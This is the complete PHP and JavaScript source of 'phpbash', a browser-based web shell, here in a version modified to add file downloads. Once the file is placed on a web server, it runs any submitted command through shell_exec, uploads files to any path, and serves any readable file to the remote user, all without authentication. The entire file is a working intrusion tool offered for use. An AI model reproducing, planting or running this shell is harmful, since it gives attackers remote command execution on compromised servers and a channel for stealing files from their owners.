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<?php
/* phpbash by Alexander Reid (Arrexel) */
/* Modified with download feature by b4ndit23 */
ob_start();
if (ISSET($_GET['download']) && ISSET($_GET['path'])) {
while (ob_get_level()) {
ob_end_clean();
}
$filepath = $_GET['path'];
$filename = basename($filepath);
if (file_exists($filepath) && is_readable($filepath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $filename . '"');
header('Content-Length: ' . filesize($filepath));
header('Cache-Control: must-revalidate');
header('Pragma: public');
readfile($filepath);
exit;
} else {
header("HTTP/1.0 404 Not Found");
echo "File not found or not readable";
exit;
}
}
if (ISSET($_POST['cmd'])) {
$output = preg_split('/[\n]/', shell_exec($_POST['cmd']." 2>&1"));
foreach ($output as $line) {
echo htmlentities($line, ENT_QUOTES | ENT_HTML5, 'UTF-8') . "<br>";
}
die();
} else if (!empty($_FILES['file']['tmp_name']) && !empty($_POST['path'])) {
$filename = $_FILES["file"]["name"];
$path = $_POST['path'];
if ($path != "/") {
$path .= "/";
}
if (move_uploaded_file($_FILES["file"]["tmp_name"], $path.$filename)) {
echo htmlentities($filename) . " successfully uploaded to " . htmlentities($path);
} else {
echo "Error uploading " . htmlentities($filename);
}
die();
}
?>
<html>
<head>
<title>phpbash</title>
<style>
html, body {
max-width: 100%;
}
body {
width: 100%;
height: 100%;
margin: 0;
background: #000;
}
body, .inputtext {
font-family: "Lucida Console", "Lucida Sans Typewriter", monaco, "Bitstream Vera Sans Mono", monospace;
font-size: 14px;
font-style: normal;
font-variant: normal;
font-weight: 400;
line-height: 20px;
overflow: hidden;
}
.console {
width: 100%;
height: 100%;
margin: auto;
position: absolute;
color: #fff;
}
.output {
width: auto;
height: auto;
position: absolute;
overflow-y: scroll;
top: 0;
bottom: 30px;
left: 5px;
right: 0;
line-height: 20px;
}
.input form {
position: relative;
margin-bottom: 0px;
}
.username {
height: 30px;
width: auto;
padding-left: 5px;
line-height: 30px;
float: left;
}
.input {
border-top: 1px solid #333333;
width: 100%;
height: 30px;
position: absolute;
bottom: 0;
}
.inputtext {
width: auto;
height: 30px;
bottom: 0px;
margin-bottom: 0px;
background: #000;
border: 0;
float: left;
padding-left: 8px;
color: #fff;
}
.inputtext:focus {
outline: none;
}
::-webkit-scrollbar {
width: 12px;
}
::-webkit-scrollbar-track {
background: #101010;
}
::-webkit-scrollbar-thumb {
background: #303030;
}
</style>
</head>
<body>
<div class="console">
<div class="output" id="output"></div>
<div class="input" id="input">
<form id="form" method="GET" onSubmit="sendCommand()">
<div class="username" id="username"></div>
<input class="inputtext" id="inputtext" type="text" name="cmd" autocomplete="off" autofocus>
</form>
</div>
</div>
<form id="upload" method="POST" style="display: none;">
<input type="file" name="file" id="filebrowser" onchange='uploadFile()' />
</form>
<script type="text/javascript">
var username = "";
var hostname = "";
var currentDir = "";
var previousDir = "";
var defaultDir = "";
var commandHistory = [];
var currentCommand = 0;
var inputTextElement = document.getElementById('inputtext');
var inputElement = document.getElementById("input");
var outputElement = document.getElementById("output");
var usernameElement = document.getElementById("username");
var uploadFormElement = document.getElementById("upload");
var fileBrowserElement = document.getElementById("filebrowser");
getShellInfo();
function getShellInfo() {
var request = new XMLHttpRequest();
request.onreadystatechange = function() {
if (request.readyState == XMLHttpRequest.DONE) {
var parsedResponse = request.responseText.split("<br>");
username = parsedResponse[0];
hostname = parsedResponse[1];
currentDir = parsedResponse[2].replace(new RegExp("/", "g"), "/");
defaultDir = currentDir;
usernameElement.innerHTML = "<div style='color: #ff0000; display: inline;'>"+username+"@"+hostname+"</div>:"+currentDir+"#";
updateInputWidth();
}
};
request.open("POST", "", true);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.send("cmd=whoami; hostname; pwd");
}
function sendCommand() {
var request = new XMLHttpRequest();
var command = inputTextElement.value;
var originalCommand = command;
var originalDir = currentDir;
var cd = false;
commandHistory.push(originalCommand);
switchCommand(commandHistory.length);
inputTextElement.value = "";
var parsedCommand = command.split(" ");
if (parsedCommand[0] == "cd") {
cd = true;
if (parsedCommand.length == 1) {
command = "cd "+defaultDir+"; pwd";
} else if (parsedCommand[1] == "-") {
command = "cd "+previousDir+"; pwd";
} else {
command = "cd "+currentDir+"; "+command+"; pwd";
}
} else if (parsedCommand[0] == "clear") {
outputElement.innerHTML = "";
return false;
} else if (parsedCommand[0] == "upload") {
fileBrowserElement.click();
return false;
} else if (parsedCommand[0] == "download") {
if (parsedCommand.length < 2) {
outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# "+originalCommand+"</div><br>Usage: download <filename><br>";
return false;
}
downloadFile(parsedCommand.slice(1).join(" "), originalCommand, originalDir);
return false;
} else {
command = "cd "+currentDir+"; " + command;
}
request.onreadystatechange = function() {
if (request.readyState == XMLHttpRequest.DONE) {
if (cd) {
var parsedResponse = request.responseText.split("<br>");
previousDir = currentDir;
currentDir = parsedResponse[0].replace(new RegExp("/", "g"), "/");
outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+originalDir+"# "+originalCommand+"</div><br>";
usernameElement.innerHTML = "<div style='color: #ff0000; display: inline;'>"+username+"@"+hostname+"</div>:"+currentDir+"#";
} else {
outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# "+originalCommand+"</div><br>" + request.responseText.replace(new RegExp("<br><br>$"), "<br>");
outputElement.scrollTop = outputElement.scrollHeight;
}
updateInputWidth();
}
};
request.open("POST", "", true);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.send("cmd="+encodeURIComponent(command));
return false;
}
function downloadFile(filename, originalCommand, originalDir) {
var filepath;
if (filename.startsWith('/')) {
// Absolute path
filepath = filename;
} else {
filepath = currentDir;
if (currentDir != "/") {
filepath += "/";
}
filepath += filename;
}
var checkRequest = new XMLHttpRequest();
checkRequest.onreadystatechange = function() {
if (checkRequest.readyState == XMLHttpRequest.DONE) {
var response = checkRequest.responseText.trim();
response = response.replace(/<br>/g, '');
if (response === "OK") {
outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+originalDir+"# "+originalCommand+"</div><br>Downloading "+htmlentities(filename)+"...<br>";
window.location.href = window.location.pathname + "?download=1&path=" + encodeURIComponent(filepath);
setTimeout(function() {
outputElement.innerHTML += "Download started for "+htmlentities(filename)+"<br>";
outputElement.scrollTop = outputElement.scrollHeight;
}, 100);
} else {
outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+originalDir+"# "+originalCommand+"</div><br>Error: File not found or not readable: "+htmlentities(filename)+"<br>";
outputElement.scrollTop = outputElement.scrollHeight;
}
}
};
var checkCommand = "[ -f '"+filepath.replace(/'/g, "'\\''")+"' ] && [ -r '"+filepath.replace(/'/g, "'\\''")+"' ] && echo 'OK' || echo 'FAIL'";
checkRequest.open("POST", "", true);
checkRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
checkRequest.send("cmd="+encodeURIComponent(checkCommand));
}
function uploadFile() {
var formData = new FormData();
formData.append('file', fileBrowserElement.files[0], fileBrowserElement.files[0].name);
formData.append('path', currentDir);
var request = new XMLHttpRequest();
request.onreadystatechange = function() {
if (request.readyState == XMLHttpRequest.DONE) {
outputElement.innerHTML += request.responseText+"<br>";
}
};
request.open("POST", "", true);
request.send(formData);
outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# Uploading "+fileBrowserElement.files[0].name+"...</div><br>";
}
function updateInputWidth() {
inputTextElement.style.width = inputElement.clientWidth - usernameElement.clientWidth - 15;
}
function htmlentities(str) {
return String(str).replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"');
}
document.onkeydown = checkForArrowKeys;
function checkForArrowKeys(e) {
e = e || window.event;
if (e.keyCode == '38') {
previousCommand();
} else if (e.keyCode == '40') {
nextCommand();
}
}
function previousCommand() {
if (currentCommand != 0) {
switchCommand(currentCommand-1);
}
}
function nextCommand() {
if (currentCommand != commandHistory.length) {
switchCommand(currentCommand+1);
}
}
function switchCommand(newCommand) {
currentCommand = newCommand;
if (currentCommand == commandHistory.length) {
inputTextElement.value = "";
} else {
inputTextElement.value = commandHistory[currentCommand];
setTimeout(function(){ inputTextElement.selectionStart = inputTextElement.selectionEnd = 10000; }, 0);
}
}
document.getElementById("form").addEventListener("submit", function(event){
event.preventDefault()
});
</script>
</body>
</html>